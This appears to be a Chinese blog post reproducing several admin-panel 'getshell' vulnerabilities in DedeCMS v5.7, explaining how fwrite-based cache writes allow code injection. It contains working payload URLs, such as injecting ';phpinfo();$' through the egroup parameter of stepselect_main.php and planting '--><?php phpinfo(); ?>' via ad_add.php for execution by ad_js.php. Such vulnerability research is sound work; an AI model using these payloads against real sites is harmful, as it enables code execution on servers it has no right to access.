Dedecms后台getshell漏洞集合
前言
复现Dedecms v5.7后台geshell漏洞感觉比以前轻松了,估计难得框架接触多了。QAQ…
该cms中还有多出后台getshell这里就列几个比较有意思的。
漏洞成因
dedecms后台存在多处fwrite函数导致getshell
payload[1]

refiles[]变量虽被addslashes转义,但foreach中对$filename substr截取
写入filename到modifytmp.inc文件中

modifytmp.inc文件内容
加载的模板文件调用变量$doneStr写入路径指向sys_verifies.php?action=down&curfile=0
跟进action=down操作,require_once包含modifytmp.inc执行代码
Payload[2]
payload: 127.0.0.1/cms/dedecms/uploads/dede/stepselect_main.php?action=addenum_save&ename=233&issign=1&egroup=;phpinfo();$
http://127.0.0.1/cms/dedecms/uploads/data/enums/;phpinfo();$.php

/dede/stepselect_main.php下WriteEnumsCache方法执行对$egroup变量缓存下入操作
缓存文件名:$cachefile = DEDEDATA.'/enums/'.$egroup.'.php'; => /enums/;phpinfo();$.phpfwrite写入操作对$egroup变量进行拼接,'$em_'.';phpinfo();$'.'s';

payload[3]
$content = stripslashes($content);对文件内容进行处理stripslashes() 函数删除由addslashes() 函数添加的反斜杠,不影响文件内容.

token值获取,可以全局搜下哪里生成$_SESSION['token'],恰巧action=upload执行之后会生成token。访问复制token即可

payload[4]
payload:http://127.0.0.1/cms/dedecms/uploads/plus/ad_js.php?nocache=1&aid=1
该payload下会将数据库中获取的内容写入js中,并include
提取数据库数据是通过/dede/ad_add.php广告添加之后获取

首先添加广告内容/dede/ad_add.php,可以使用文件监控查看内容变化.在所有可以输入的地方添加--><?php phpinfo(); ?>
http://127.0.0.1/cms/dedecms/uploads/plus/ad_js.php?nocache=1&aid=1
payload[5]
参考链接
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!